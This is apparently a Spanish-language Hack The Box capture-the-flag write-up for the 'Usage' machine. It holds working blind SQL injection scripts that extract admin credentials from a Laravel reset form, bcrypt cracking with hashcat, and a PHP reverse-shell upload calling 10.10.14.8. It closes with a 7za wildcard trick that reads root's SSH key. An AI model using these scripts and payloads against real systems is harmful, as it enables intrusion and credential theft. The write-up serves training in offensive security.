Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
        • Medium Level
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  • 💻 Explotación
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy Level

Usage

PreviousTabbyNextBashed

Last updated 11 days ago

Publicado: 22 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

En esta máquina de Hack The Box llamada Usage, nos enfrentamos a una aplicación web construida con el framework PHP Laravel, alojada en un servidor nginx sobre un sistema Linux. A través de una fase inicial de reconocimiento, identificamos rápidamente que el sitio hace uso de virtual hosting.

La clave para avanzar radica en una vulnerabilidad SQL Injection a ciegas (Blind SQLi) detectada en la funcionalidad de recuperación de contraseña del sitio principal. Mediante el uso de payloads manuales y scripts automatizados en Python, conseguimos explotar dicha vulnerabilidad para exfiltrar información sensible directamente desde la base de datos.

Esta máquina es ideal para practicar técnicas de inyección SQL a ciegas, explotación web en entornos Laravel y scripting para automatización de tareas ofensivas.

🔭 Reconocimiento

Ping para verificación en base a TTL

❯  ping -c2 10.10.11.18     
PING 10.10.11.18 (10.10.11.18) 56(84) bytes of data.
64 bytes from 10.10.11.18: icmp_seq=1 ttl=63 time=48.0 ms
64 bytes from 10.10.11.18: icmp_seq=2 ttl=63 time=47.5 ms

--- 10.10.11.18 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 47.537/47.790/48.044/0.253 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.18 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//) 
echo $ports                                                                      
22,80

Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.18 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 17:17 CEST
Nmap scan report for 10.10.11.18
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

echo "10.10.11.18 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

80 HTTP (usage.htb - admin.usage.htb)

http://usage.htb

Usamos la opción de Registro y nos autenticamos pero no vemos nada interesante a priori:

Usamos Wappalyzer para enumerar un poco las tecnologías usadas y vemos que el framework principal que se ha usado para el sitio es Laravel, un framework de php.

Vamos a analizar un poco la opción de Reset Password para ver qué está realizando por detrás:

Al introducir una comilla en el campo e-mail obtenemos un error 500, señal de que el backend no está manejando correctamente ni sanitizando el campo de entrada:

Confirmamos la vulnerabilidad SQLi con el siguiente payload:

admin' or '1'='1

No vemos ningún tipo de error reflejado que nos pueda aportar información sobre el nombre de la base de datos o algún otro campo, por lo que se trata de una inyección a ciegas (blind sqli)

Aquí podríamos usar sqlmap o también podemos realizalo de forma manual montar unos script en python que mediante la función substring nos permita mediante fuerza bruta ir adivinando el nombre de la base de datos y las tablas:

Enumeración de base de datos

#!/usr/bin/env python3

import requests
import signal
import time
import sys
import string

from pwn import *
from termcolor import colored

def def_handler(sig, frame):
    print(colored("\n\n[!] Saliendo...\n", 'red'))
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# === Establecer los valores de las cookies de la petición ===
cookies = {
    'XSRF-TOKEN': 'eyJpdiI6IndyVEJBVXFJSWJuNEhjMTdtdUorTFE9PSIsInZhbHVlIjoicDM3dlFuS01meENlT2ZmaWtBTEtzZTEweVFwcDNVQ1gyUjlJMElEUzVldjhSRDJxWHZzUThGWU1BN2N2TVd2amIrNUtoQUF3dnBIVFVGbUVCY3c1ZjBwanJ0U1l3NmN2ZUE5ajJKVzJOOWRnUFJnSC9reDFQOWZPd0wySVRFV2kiLCJtYWMiOiJmMjk3NjQzN2I5Y2RmYWZlYmRhNzkwMjQwNjNiZGUxOGZhZjk0MTZhYTBiMDNmZDk1Zjg5MTAyMzMyMTA5NDhhIiwidGFnIjoiIn0=',
    'laravel_session': 'eyJpdiI6IklLTDhXdXBOWUFVazlVSEN5MHdRM3c9PSIsInZhbHVlIjoiZ25hZmpSZXVTR0c1dXZnZW5aOGM2akd3K0pjSHIxeXBsQ1h4dHk1bzhNUzZmaXNoQjFGUFAzaTYzM2JqU211VCtRem5QRE56T3VLQ3lmdTI2YUxMVGU1M3gyMld5T25YNEQ2bTJsRTNoZkRuSGZFRUVQUmltL3FUY1lKemV6ZFYiLCJtYWMiOiI3M2Y5ZTkwY2EyNTcwMWFmMWZiZjE2ZjcwMjY0ZTFkNTVjZjg3NmU3YWIxZDk3MWRkYjlhY2MwOGFlOWQ1MzUzIiwidGFnIjoiIn0='
}

# === Configuración ===
main_url = "http://usage.htb/forget-password"
csrf_token = "6PIGyDbYvuUCapSnq5BoNV7HHRmU04Ax9f9QrhTP"

characters = string.ascii_lowercase + string.digits + '_'

def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando...")

    database = ""
    p2 = log.progress("Base de datos")

    for i in range(1, 50):  # Hasta 50 caracteres del nombre de la DB
        found = False
        for character in characters:
            payload = f"test' OR substring(database(),{i},1)='{character}'-- -"

            post_data = {
                '_token': csrf_token,
                'email': payload
            }

            p1.status(f"Probando: {character} en posición {i}")
            r = requests.post(main_url, data=post_data, cookies=cookies)

            if "We have e-mailed your password" in r.text:
                database += character
                p2.status(database)
                found = True
                break

        if not found:
            break  # Fin de la cadena

    print(colored(f"\n[+] Nombre de la base de datos: {database}", 'green'))

if __name__ == '__main__':
    makeSQLi()

Básicamente este script automatiza la petición que hemos visto anteriormente al endpoint forget-password y aplica la siguiente inyección test' OR substring(database(),{i},1)='{character}'-- - para ir determinando el carácter que corresponde a cada posición del nombre de la base de datos.

Para saber si el carácter es correcto evalúa si la cadena "We have e-mailed your password" llega en la respuesta.

Vemos que el script funciona y ya tenemos el nombre de la base de datos:

Ahora que ya tenemos el nombre de la base de datos, si ahora quisiéramos averiguar las tablas de dicha base de datos podemos jugar con una nested query. Para ello hacemos algunos cambios en el script anterior dejándolo de la siguiente forma:

Enumeración de tablas de una base de datos específica

#!/usr/bin/env python3

import requests
import signal
import time
import sys
import string

from pwn import *
from termcolor import colored

def def_handler(sig, frame):
    print(colored("\n\n[!] Saliendo...\n", 'red'))
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# === Cookies reales desde la petición ===
cookies = {
    'XSRF-TOKEN': 'eyJpdiI6IndyVEJBVXFJSWJuNEhjMTdtdUorTFE9PSIsInZhbHVlIjoicDM3dlFuS01meENlT2ZmaWtBTEtzZTEweVFwcDNVQ1gyUjlJMElEUzVldjhSRDJxWHZzUThGWU1BN2N2TVd2amIrNUtoQUF3dnBIVFVGbUVCY3c1ZjBwanJ0U1l3NmN2ZUE5ajJKVzJOOWRnUFJnSC9reDFQOWZPd0wySVRFV2kiLCJtYWMiOiJmMjk3NjQzN2I5Y2RmYWZlYmRhNzkwMjQwNjNiZGUxOGZhZjk0MTZhYTBiMDNmZDk1Zjg5MTAyMzMyMTA5NDhhIiwidGFnIjoiIn0=',
    'laravel_session': 'eyJpdiI6IklLTDhXdXBOWUFVazlVSEN5MHdRM3c9PSIsInZhbHVlIjoiZ25hZmpSZXVTR0c1dXZnZW5aOGM2akd3K0pjSHIxeXBsQ1h4dHk1bzhNUzZmaXNoQjFGUFAzaTYzM2JqU211VCtRem5QRE56T3VLQ3lmdTI2YUxMVGU1M3gyMld5T25YNEQ2bTJsRTNoZkRuSGZFRUVQUmltL3FUY1lKemV6ZFYiLCJtYWMiOiI3M2Y5ZTkwY2EyNTcwMWFmMWZiZjE2ZjcwMjY0ZTFkNTVjZjg3NmU3YWIxZDk3MWRkYjlhY2MwOGFlOWQ1MzUzIiwidGFnIjoiIn0='
}

# === Configuración ===
main_url = "http://usage.htb/forget-password"
csrf_token = "6PIGyDbYvuUCapSnq5BoNV7HHRmU04Ax9f9QrhTP"

characters = string.ascii_lowercase + string.digits + '_,'

def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando...")

    tables = ""
    p2 = log.progress("Tablas")

    for i in range(1, 500):  # Hasta 50 caracteres del nombre de la DB
        found = False
        for character in characters:
            payload = f"test' OR substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),{i},1)='{character}'-- -"


            post_data = {
                '_token': csrf_token,
                'email': payload
            }

            p1.status(f"Probando: {character} en posición {i}")
            r = requests.post(main_url, data=post_data, cookies=cookies)

            if "We have e-mailed your password" in r.text:
                tables += character
                p2.status(tables)
                found = True
                break

        if not found:
            break  # Fin de la cadena

    print(colored(f"\n[+] Nombre de las tablas: {tables}", 'green'))

if __name__ == '__main__':
    makeSQLi()

Básicamente realizamos algunos ajustes y cambiamos el payload de la inyección para que en el substring en lugar del nombre de la base de datos, usamos group_concat para retornar los nombres de las tablas separados por coma y vamos comparando con cada carácter en cada iteración del bucle:

payload = f"test' OR substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),{i},1)='{character}'-- -"

![[Pasted image 20250522193104.png]]

Encontramos una tabla interesante llamada admin_users de la cual nos podría interesar extraer su contenido.

Enumeración de columnas de una tabla

#!/usr/bin/env python3

import requests
import signal
import time
import sys
import string

from pwn import *
from termcolor import colored

def def_handler(sig, frame):
    print(colored("\n\n[!] Saliendo...\n", 'red'))
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# === Cookies reales desde la petición ===
cookies = {
    'XSRF-TOKEN': 'eyJpdiI6IndyVEJBVXFJSWJuNEhjMTdtdUorTFE9PSIsInZhbHVlIjoicDM3dlFuS01meENlT2ZmaWtBTEtzZTEweVFwcDNVQ1gyUjlJMElEUzVldjhSRDJxWHZzUThGWU1BN2N2TVd2amIrNUtoQUF3dnBIVFVGbUVCY3c1ZjBwanJ0U1l3NmN2ZUE5ajJKVzJOOWRnUFJnSC9reDFQOWZPd0wySVRFV2kiLCJtYWMiOiJmMjk3NjQzN2I5Y2RmYWZlYmRhNzkwMjQwNjNiZGUxOGZhZjk0MTZhYTBiMDNmZDk1Zjg5MTAyMzMyMTA5NDhhIiwidGFnIjoiIn0=',
    'laravel_session': 'eyJpdiI6IklLTDhXdXBOWUFVazlVSEN5MHdRM3c9PSIsInZhbHVlIjoiZ25hZmpSZXVTR0c1dXZnZW5aOGM2akd3K0pjSHIxeXBsQ1h4dHk1bzhNUzZmaXNoQjFGUFAzaTYzM2JqU211VCtRem5QRE56T3VLQ3lmdTI2YUxMVGU1M3gyMld5T25YNEQ2bTJsRTNoZkRuSGZFRUVQUmltL3FUY1lKemV6ZFYiLCJtYWMiOiI3M2Y5ZTkwY2EyNTcwMWFmMWZiZjE2ZjcwMjY0ZTFkNTVjZjg3NmU3YWIxZDk3MWRkYjlhY2MwOGFlOWQ1MzUzIiwidGFnIjoiIn0='
}

# === Configuración ===
main_url = "http://usage.htb/forget-password"
csrf_token = "6PIGyDbYvuUCapSnq5BoNV7HHRmU04Ax9f9QrhTP"

characters = string.ascii_lowercase + string.digits + '_,'

def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando...")

    columns = ""
    p2 = log.progress("Columnas")

    for i in range(1, 500):  # Hasta 50 caracteres del nombre de la DB
        found = False
        for character in characters:
            payload = f"test' OR substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),{i},1)='{character}'-- -"


            post_data = {
                '_token': csrf_token,
                'email': payload
            }

            p1.status(f"Probando: {character} en posición {i}")
            r = requests.post(main_url, data=post_data, cookies=cookies)

            if "We have e-mailed your password" in r.text:
                columns += character
                p2.status(columns)
                found = True
                break

        if not found:
            break  # Fin de la cadena

    print(colored(f"\n[+] Nombre de las columnas: {columns}", 'green'))

if __name__ == '__main__':
    makeSQLi()

Hemos realizado unos ajustes al script anterior y modificado el payload para consultar las columnas especificando el nombre de la base de datos y el nombre de la tabla:

payload = f"test' OR substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),{i},1)='{character}'-- -"

Ahora que ya tenemos los nombres de las columnas, únicamente nos queda extraer su contenido, así que volvemos a modificar el script:

#!/usr/bin/env python3

import requests
import signal
import time
import sys
import string

from pwn import *
from termcolor import colored

def def_handler(sig, frame):
    print(colored("\n\n[!] Saliendo...\n", 'red'))
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# === Cookies reales desde la petición ===
cookies = {
    'XSRF-TOKEN': 'eyJpdiI6IndyVEJBVXFJSWJuNEhjMTdtdUorTFE9PSIsInZhbHVlIjoicDM3dlFuS01meENlT2ZmaWtBTEtzZTEweVFwcDNVQ1gyUjlJMElEUzVldjhSRDJxWHZzUThGWU1BN2N2TVd2amIrNUtoQUF3dnBIVFVGbUVCY3c1ZjBwanJ0U1l3NmN2ZUE5ajJKVzJOOWRnUFJnSC9reDFQOWZPd0wySVRFV2kiLCJtYWMiOiJmMjk3NjQzN2I5Y2RmYWZlYmRhNzkwMjQwNjNiZGUxOGZhZjk0MTZhYTBiMDNmZDk1Zjg5MTAyMzMyMTA5NDhhIiwidGFnIjoiIn0=',
    'laravel_session': 'eyJpdiI6IklLTDhXdXBOWUFVazlVSEN5MHdRM3c9PSIsInZhbHVlIjoiZ25hZmpSZXVTR0c1dXZnZW5aOGM2akd3K0pjSHIxeXBsQ1h4dHk1bzhNUzZmaXNoQjFGUFAzaTYzM2JqU211VCtRem5QRE56T3VLQ3lmdTI2YUxMVGU1M3gyMld5T25YNEQ2bTJsRTNoZkRuSGZFRUVQUmltL3FUY1lKemV6ZFYiLCJtYWMiOiI3M2Y5ZTkwY2EyNTcwMWFmMWZiZjE2ZjcwMjY0ZTFkNTVjZjg3NmU3YWIxZDk3MWRkYjlhY2MwOGFlOWQ1MzUzIiwidGFnIjoiIn0='
}

# === Configuración ===
main_url = "http://usage.htb/forget-password"
csrf_token = "6PIGyDbYvuUCapSnq5BoNV7HHRmU04Ax9f9QrhTP"

characters = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.digits + '_,$./@:&*'

def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando...")

    columns = ""
    p2 = log.progress("Columnas")

    for i in range(1, 500):  # Hasta 50 caracteres del nombre de la DB
        found = False
        for character in characters:
            payload = f"test' OR substring((SELECT GROUP_CONCAT(BINARY username, ':', BINARY password) FROM admin_users), {i}, 1) = '{character}'-- -"


            post_data = {
                '_token': csrf_token,
                'email': payload
            }

            p1.status(f"Probando: {character} en posición {i}")
            r = requests.post(main_url, data=post_data, cookies=cookies)

            if "We have e-mailed your password" in r.text:
                columns += character
                p2.status(columns)
                found = True
                break

        if not found:
            break  # Fin de la cadena

    print(colored(f"\n[+] Nombre de las columnas: {columns}", 'green'))

if __name__ == '__main__':
    makeSQLi()

Obtenemos el usuario y la contraseña en formato hash:

Usamos la herramienta nth para comprobar qué tipo de hash es aunque a priori viéndolo ya parece que es bcrypt:

nth --text '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2'

Usamos hashcat y rockyou para crackearlo:

hashcat -m 3200 admin_hash_bcrypt /usr/share/wordlists/rockyou.txt 

Obtenemos la contraseña de admin: whatever1

http://admin.usage.htb

Probamos a autenticarnos en el panel de administración con las credenciales admin:whatever1

💻 Explotación

CVE-2023-24249

Tras verificar las versiones de Laravel y PHP no parece haber exploits, aunque sí que encontramos algo interesante para una de las dependencias que estamos enumerando

Parece que hay un CVE-2023-24249 con una vulnerabilidad de tipo arbitrary file upload relacionada con el componente de administración que permite cambiar la foto de perfil:

Hay documentación sobre cómo explotar esta vulnerabilidad:

https://flyd.uk/post/cve-2023-24249/

Subimos una imagen cualquiera jpg e interceptamos la petición con burp y cambiamos la extensión del archivo añadiendo un .php al final y reemplazamos el contenido por una php bash one liner:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.14.8/1234 0>&1"'); ?>

Vemos la ruta donde se ha subido el archivo:

Iniciamos un listener con netcat

nc -nlvp 1234

Foothold

Accedemos al recurso que hemos subido en /uploads/images/cat.jpg.php y obtenemos acceso a la máquina como usuario dash:

Obtenemos la primera flag en el directorio de usuario de dash:

👑 Escalada de privilegios

Comenzamos a enumerar la máquina y encontramos las credenciales de base de datos en la siguiente ubicación:

/var/www/html/project_admin/.env

Probamos a reutilizarla con los usuarios dash y xander pero no funciona.

En el directorio del usuario dash existe un fichero .monitrc en el que también hay otra contraseña:

Usamos esta credencial para autenticarnos como xander y tenemos éxito:

xander@usage:~$ whoami
xander
xander@usage:~$ ls -la
total 24
drwxr-x--- 4 xander xander 4096 Apr  2  2024 .
drwxr-xr-x 4 root   root   4096 Aug 16  2023 ..
lrwxrwxrwx 1 xander xander    9 Apr  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 xander xander 3771 Jan  6  2022 .bashrc
drwx------ 3 xander xander 4096 Aug 20  2023 .config
-rw-r--r-- 1 xander xander  807 Jan  6  2022 .profile
drwx------ 2 xander xander 4096 Apr  8  2024 .ssh

Verificamos si hay algún usuario que pueda ejecutar algún binario como root

xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

Comprobamos que el usuario xander tiene permisos de lectura y ejecución sobre este binario

xander@usage:~$ ls -la /usr/bin/usage_management
-rwxr-xr-x 1 root root 16312 Oct 28  2023 /usr/bin/usage_management
xander@usage:~$ 

Ejecutamos la herramienta probando las 3 opciones aunque no nos permite hacer gran cosa por temas de permisos.

Usamos el comando strings con el binario para ver si vemos algo interesante:

strings /usr/bin/usage_management
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html

Aquí podría haber algo, ya que se está haciendo uso de wildcard. Hay un artículo interesante sobre esto en HackTricks

https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html

Seguimos los pasos indicados en la documentación y creamos un archivo @id_rsa, a continuación creamos un enlace simbólico al archivo /root/.ssh/id_rsa y finalmente lo movemos al directorio del que lee el comando 7za que es /var/www/html:

cd /var/www/html
touch  @id_rsa
ln -s /root/.ssh/id_rsa id_rsa

Hemos creado un enlace simbólico en este caso al id_rsa de root para que se ejecute la herramienta y vaya a comprimir todo lo que hay en el directorio /var/www/html pues también procese nuestro archivo id_rsa que apunta a la clave ssh del usuario root

sudo /usr/bin/usage_management

Vemos la clave privada de root que podemos copiar en el directorio /tmp de la máquina, darle permisos 600 y usar para conectarnos a la máquina como root

id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
